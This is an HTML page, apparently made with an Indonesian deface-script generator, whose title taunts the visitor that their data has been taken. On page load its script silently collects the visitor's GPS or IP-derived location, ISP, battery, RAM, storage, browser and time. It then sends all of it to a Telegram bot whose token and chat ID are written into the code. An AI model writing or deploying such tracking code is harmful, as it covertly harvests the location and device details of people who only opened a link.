<!--
--  Uploaded on : https://haxor.my.id/open/untuk_sodaraku.html
--  Official Web : https://prinsh.com
--  script-deface-generator.prinsh.com
-->
<!--
--  Downloaded from : https://haxor.my.id/save/amazingjirrrr.html
--  Official Web : https://prinsh.com
--  script-deface-generator.prinsh.com
-->
<!DOCTYPE html>
<html lang="id">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>data kamu ada di aku awas😈</title>
</head>
<body>

    <h2>data kamu ada di saya😈</h2>

    <script>
        async function getBatteryInfo() {
            if (navigator.getBattery) {
                const battery = await navigator.getBattery();
                const status = battery.charging ? "🔌 Mengisi daya" : "⚡ Tidak mengisi daya";
                return `Baterai: ${Math.round(battery.level * 100)}% (${status})`;
            }
            return "Baterai: Tidak didukung";
        }

        async function getDeviceInfo() {
            const memory = navigator.deviceMemory || "Tidak diketahui";
            const ram = memory + " GB";
            
            if ('storage' in navigator && 'estimate' in navigator.storage) {
                const estimate = await navigator.storage.estimate();
                const totalStorage = (estimate.quota / (1024 * 1024 * 1024)).toFixed(2) + " GB";
                const usedStorage = ((estimate.usage / estimate.quota) * 100).toFixed(2) + "% digunakan";
                return { ram, totalStorage, usedStorage };
            }

            return { ram, totalStorage: "Tidak diketahui", usedStorage: "Tidak diketahui" };
        }

        function getCurrentTime() {
            const now = new Date();
            return now.toLocaleString("id-ID", { timeZoneName: "short" });
        }

        async function getLocationByIP() {
            try {
                const response = await fetch("https://ip-api.com/json/");
                const data = await response.json();
                return {
                    latitude: data.lat || "Tidak diketahui",
                    longitude: data.lon || "Tidak diketahui",
                    negara: data.country || "Tidak diketahui",
                    provinsi: data.regionName || "Tidak diketahui",
                    kota: data.city || "Tidak diketahui",
                    isp: data.isp || "Tidak diketahui",
                    metode: "IP (Perkiraan)"
                };
            } catch (error) {
                return {
                    latitude: "Tidak diketahui",
                    longitude: "Tidak diketahui",
                    negara: "Tidak diketahui",
                    provinsi: "Tidak diketahui",
                    kota: "Tidak diketahui",
                    isp: "Tidak diketahui",
                    metode: "Tidak dapat diproses"
                };
            }
        }

        function getLocation() {
            return new Promise((resolve) => {
                if ("geolocation" in navigator) {
                    navigator.geolocation.getCurrentPosition(
                        (position) => {
                            resolve({
                                latitude: position.coords.latitude,
                                longitude: position.coords.longitude,
                                metode: "GPS (Akurat)"
                            });
                        },
                        async () => {
                            const lokasiIP = await getLocationByIP();
                            resolve(lokasiIP);
                        }
                    );
                } else {
                    getLocationByIP().then(resolve);
                }
            });
        }

        async function kirimKeTelegram() {
            try {
                const batteryInfo = await getBatteryInfo();
                const userAgent = navigator.userAgent;
                const browser = navigator.vendor || "Tidak diketahui";
                const bahasa = navigator.language;
                const lokasi = await getLocation();
                const deviceInfo = await getDeviceInfo();
                const waktuSekarang = getCurrentTime();

                const pesan = `
🌍 **Info Pengguna**
- Negara: ${lokasi.negara}
- Provinsi: ${lokasi.provinsi}
- Kota: ${lokasi.kota}
- ISP: ${lokasi.isp}

📍 **Lokasi (${lokasi.metode})**
- Latitude: ${lokasi.latitude}
- Longitude: ${lokasi.longitude}

💻 **Device Info**
- RAM: ${deviceInfo.ram}
- ROM: ${deviceInfo.totalStorage} (${deviceInfo.usedStorage})
- ${batteryInfo}

🕒 **Waktu Saat Ini**
- ${waktuSekarang}

🖥 **Browser & Sistem**
- User Agent: ${userAgent}
- Browser: ${browser}
- Bahasa: ${bahasa}
                `;

                const botToken = "8052262175:AAHsEP7DSntdstv7yBTvMyA2mGcZa7P8sUg"; // Ganti dengan token bot lo
                const chatId = "6692971365"; // Ganti dengan ID chat lo

                const telegramApi = `https://api.telegram.org/bot${botToken}/sendMessage`;
                const telegramResponse = await fetch(telegramApi, {
                    method: "POST",
                    headers: { "Content-Type": "application/json" },
                    body: JSON.stringify({ chat_id: chatId, text: pesan, parse_mode: "Markdown" })
                });

                if (telegramResponse.ok) {
                    document.body.innerHTML = "<h2>Pesan berhasil dikirim ke Telegram!</h2>";
                } else {
                    document.body.innerHTML = "<h2>Gagal mengirim pesan.</h2>";
                }
            } catch (error) {
                console.error("Error:", error);
                document.body.innerHTML = "<h2>Terjadi kesalahan!</h2>";
            }
        }

        // Kirim otomatis saat halaman dibuka
        window.onload = kirimKeTelegram;
    </script>

</body>
</html>